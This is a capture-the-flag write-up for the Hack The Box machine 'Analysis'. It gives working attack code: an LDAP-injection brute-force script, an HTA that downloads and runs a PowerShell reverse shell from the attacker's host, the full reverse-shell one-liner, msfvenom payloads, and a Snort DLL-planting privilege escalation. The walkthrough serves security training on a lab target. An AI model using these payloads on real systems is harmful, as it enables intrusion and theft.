Hack The Box - Analysis

June 15, 2025

Analysis

Analysis is a Windows machine running Active Directory. An internal subdomain hosts a webpage vulnerable to LDAP injection, which can be exploited to brute force LDAP attributes, revealing a password in the description field of the technician user. These credentials grant access to the analysis dashboard, where uploading an HTA file enables command execution and results in a shell. Additional credentials for the jdoe user can be discovered in a log file on the web server, allowing for a WinRM shell. Further enumeration shows that Snort is running on the system; by uploading a custom DLL to the dynamicpreprocessor directory, it’s possible to execute code with the privileges of the Snort service—in this case, the administrator.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.250
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-12 15:18 EDT
Nmap scan report for analysis.htb (10.10.11.250)
Host is up (0.053s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
| http-server-header: 
|   Microsoft-HTTPAPI/2.0
|_  Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-12 18:30:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3306/tcp open  mysql         MySQL (unauthorized)
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -47m26s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-06-12T18:30:57
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.24 seconds

After adding analysis.htb and DC-ANALYSIS.analysis.htb to /etc/hosts, I visited the webpage running on port 80:

Analysis webpage

There wasn’t much to go off of on the webpage, so I used ffuf to enumerate subdomains and found the internal subdomain:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.11.250 -H "Host: FUZZ.analysis.htb"

<...snip...>

internal                [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 56ms]
:: Progress: [4989/4989] :: Job [1/1] :: 415 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

I added internal.analysis.htb to /etc/hosts and visited the page, which resulted in a 403:

internal.analysis.htb 403

Next, I enumerated subdirectories for internal.analysis.htb:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://internal.analysis.htb/FUZZ

<...snip...>

dashboard               [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 51ms]
employees               [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 67ms]
users                   [Status: 301, Size: 170, Words: 9, Lines: 2, Duration: 61ms]
:: Progress: [4734/4734] :: Job [1/1] :: 732 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

Attempting to visit /dashboard resulted in another 403:

/dashboard 403

Visiting both /employees and /users resulted in a 404:

internal.analysis.htb 404

Since the server was running IIS, the site was potentially using PHP, so I enumerated pages in /dashboard with the .php extension:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://internal.analysis.htb/dashboard/FUZZ.php

<...snip...>

Index                   [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 83ms]
details                 [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 61ms]
emergency               [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 73ms]
form                    [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 88ms]
index                   [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 63ms]
logout                  [Status: 302, Size: 3, Words: 1, Lines: 1, Duration: 76ms]
tickets                 [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 48ms]
upload                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 52ms]
:: Progress: [4734/4734] :: Job [1/1] :: 403 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

All of the pages were blank due to authentication being required, except for one. Visiting /dashboard/logout.php redirected to /employees/login.php:

internal panel login

I didn't have any credentials and SQL injection didn't seem to work on the form, so next I visited /users which showed a "missing parameter" message:

internal analysis users list

Fuzzing parameter names using ffuf revealed the name parameter:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://internal.analysis.htb/users/list.php?FUZZ=test -fs 17

<...snip...>

name                    [Status: 200, Size: 406, Words: 11, Lines: 1, Duration: 61ms]
:: Progress: [6453/6453] :: Job [1/1] :: 763 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

Visiting /users?name=test showed a table for listing various user information:

internal analysis users list test

Using the wildcard character (*) listed one of the users:

internal analysis users list wildcard

The site was most likely pulling user information from LDAP, so I tested for LDAP injection with the following value:

technician)(givenName=technician

internal analysis users list LDAP injection

As shown above, the username was returned without an error (in this case, "CONTACT_" in the Username field would indicate an error), confirming the page was vulnerable to LDAP injection. Using the following Python script, I was able to brute force the values of LDAP fields:

#!/usr/bin/python3
import requests
import string
import sys

TARGET_HOST = "internal.analysis.htb"
BASE_URL = f"http://{TARGET_HOST}/users/list.php"
HEADERS = {"Host": TARGET_HOST}

ALPHABET = (
    string.ascii_letters +
    string.digits +
    ''.join(c for c in string.punctuation if c not in ("(", ")", "#", "&"))
)

def is_valid_character(username: str, attribute: str, test_value: str) -> bool:
    payload = f"{username})({attribute}={test_value}*"
    params = {"name": payload}
    response = requests.get(BASE_URL, headers=HEADERS, params=params)
    return "CONTACT_" not in response.text

def brute_force_attribute(username: str, attribute: str) -> str:
    value = ""
    while True:
        for char in ALPHABET:
            candidate = value + char
            sys.stdout.write(f"\r{attribute}: {candidate}")
            sys.stdout.flush()

            if is_valid_character(username, attribute, candidate):
                value = candidate
                break
        else:
            break

        if value.endswith("**"):
            break

    return value.rstrip("*")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <username> <ldap_field>")
        sys.exit(1)

    username_input = sys.argv[1]
    field_input = sys.argv[2]

    final_value = brute_force_attribute(username_input, field_input)
    print(f"\n[+] Final {field_input}: {final_value}")

The password for technician was stored in the user's description:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ python3 script.py technician description
description: 97NTtl*4QP96Bv**
[+] Final description: 97NTtl*4QP96Bv

I used the credentials to log in to the internal panel:

internal panel login as technician

This provided access to the dashboard:

analysis panel dashboard

The tickets page contained submitted tickets by employees regarding various IT related issues:

analysis panel tickets

The details for one of the tickets mentions an issue with HTA files:

analysis panel ticket detail

The SOC report page allows users to upload files to be analyzed by the SOC:

analysis panel SOC report

So based on the fact that an HTA was already mentioned in one of the tickets, I used msfvenom to generate a malicious HTA to upload to the form:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.53 LPORT=443 -f hta-psh > test.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of hta-psh file: 7793 bytes

I started a listener with nc and uploaded test.hta. A message was shown saying that the file was not safe and I didn't receive a shell on the listener:

analysis panel upload sample

To attempt to bypass security restrictions, I wrote an HTA file that uses IEX to execute a PowerShell script containing a reverse shell one-liner, which is fetched from a local web server:

shell.hta

<script language="VBScript">
    Dim objShell
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "powershell -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.53:8000/reverse.ps1')", 0
    self.close
</script>

reverse.ps1

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.53',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

I started a Python web server and a listener with nc. Then, I uploaded shell.hta which bypassed security restrictions:

analysis panel upload sample bypass

nc caught a shell as svc_web:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.250] 51555

PS C:\inetpub\internal\dashboard> whoami
analysis\svc_web

After enumerating the web server, I found credentials for the jdoe user within a log file:

PS C:\inetpub\logs\LogFiles\W3SVC2> ls

    R?pertoire?: C:\inetpub\logs\LogFiles\W3SVC2

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       12/06/2025     21:19        2607209 u_ncsa1.log                                                           

PS C:\inetpub\logs\LogFiles\W3SVC2> cat u_ncsa1.log
<...snip...>
127.0.0.1 - - [12/Jun/2025:21:16:25 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
<...snip...>

The creds were valid over WinRM:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
WINRM       10.10.11.250    5985   DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
WINRM       10.10.11.250    5985   DC-ANALYSIS      [+] analysis.htb\jdoe:7y4Z4^*y9Zzj (Pwn3d!)

evil-winrm shell as jdoe:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'       
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents> whoami
analysis\jdoe
*Evil-WinRM* PS C:\Users\jdoe\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\jdoe\desktop> ls

    Directory: C:\Users\jdoe\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/12/2025   8:29 PM             34 user.txt

Further enumeration revealed that Snort was installed on the machine:

*Evil-WinRM* PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/12/2023  10:01 AM                inetpub
d-----        11/5/2022   8:14 PM                PerfLogs
d-----         5/8/2023  10:20 AM                PHP
d-----         7/9/2023  10:54 AM                private
d-r---       11/18/2023   9:56 AM                Program Files
d-----         5/8/2023  10:11 AM                Program Files (x86)
d-----         7/9/2023  10:57 AM                Snort
d-r---        5/26/2023   2:20 PM                Users
d-----        1/10/2024   3:52 PM                Windows
-a----        6/12/2025   9:26 PM         294556 snortlog.txt

snortlog.txt was getting updated every two minutes, which indicated that Snort was actively running:

*Evil-WinRM* PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
<...snip...>
-a----        6/12/2025   9:26 PM         294556 snortlog.txt

*Evil-WinRM* PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
<...snip...>
-a----        6/12/2025   9:28 PM         294810 snortlog.txt

I confirmed this with get-process:

*Evil-WinRM* PS C:\> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
<...snip...>
    162      18    62664      46644               904   0 snort
<...snip...>

Snort supports dynamic modules, which are loaded as DLLs from a configured dynamicpreprocessor directory at startup. This can be exploited by placing a malicious DLL—such as one containing a reverse shell payload—into that directory. When Snort starts, it will automatically load and execute the DLL with the privileges of the Snort service, enabling arbitrary code execution.

To identify the location of this directory, I checked snort.conf:

*Evil-WinRM* PS C:\Snort\etc> ls

    Directory: C:\Snort\etc

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/20/2022   4:15 PM           3757 classification.config
-a----        4/20/2022   4:15 PM          23654 file_magic.conf
-a----        4/20/2022   4:15 PM          33339 gen-msg.map
-a----        4/20/2022   4:15 PM            687 reference.config
-a----         7/8/2023   9:34 PM          23094 snort.conf
-a----        4/20/2022   4:15 PM           2335 threshold.conf
-a----        4/20/2022   4:15 PM         160606 unicode.map

*Evil-WinRM* PS C:\Snort\etc> findstr dynamicpreprocessor snort.conf
dynamicpreprocessor directory C:\Snort\lib\snort_dynamicpreprocessor

Regular users have write access to this directory:

*Evil-WinRM* PS C:\Snort\lib> icacls snort_dynamicpreprocessor
snort_dynamicpreprocessor AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
                          BUILTIN\Administrateurs:(I)(OI)(CI)(F)
                          BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
                          BUILTIN\Utilisateurs:(I)(CI)(AD)
                          BUILTIN\Utilisateurs:(I)(CI)(WD)
                          CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

I generated a reverse shell DLL using msfvenom:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.53 LPORT=443 -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll

I then started a listener with nc and uploaded the DLL:

*Evil-WinRM* PS C:\Snort\lib\snort_dynamicpreprocessor> upload shell.dll
                                        
Info: Uploading /home/kali/Desktop/HTB/Analysis/shell.dll to C:\Snort\lib\snort_dynamicpreprocessor\shell.dll
                                        
Data: 12288 bytes of 12288 bytes copied
                                        
Info: Upload successful!

After about a minute, nc caught a shell as administrateur:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.250] 51554
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
analysis\administrateur

C:\Windows\system32>cd \users\administrateur\desktop
cd \users\administrateur\desktop

C:\Users\Administrateur\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0071-E237

 Directory of C:\Users\Administrateur\Desktop

01/10/2024  11:41 AM    <DIR>          .
01/10/2024  11:41 AM    <DIR>          ..
06/12/2025  08:29 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,131,143,680 bytes free

CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS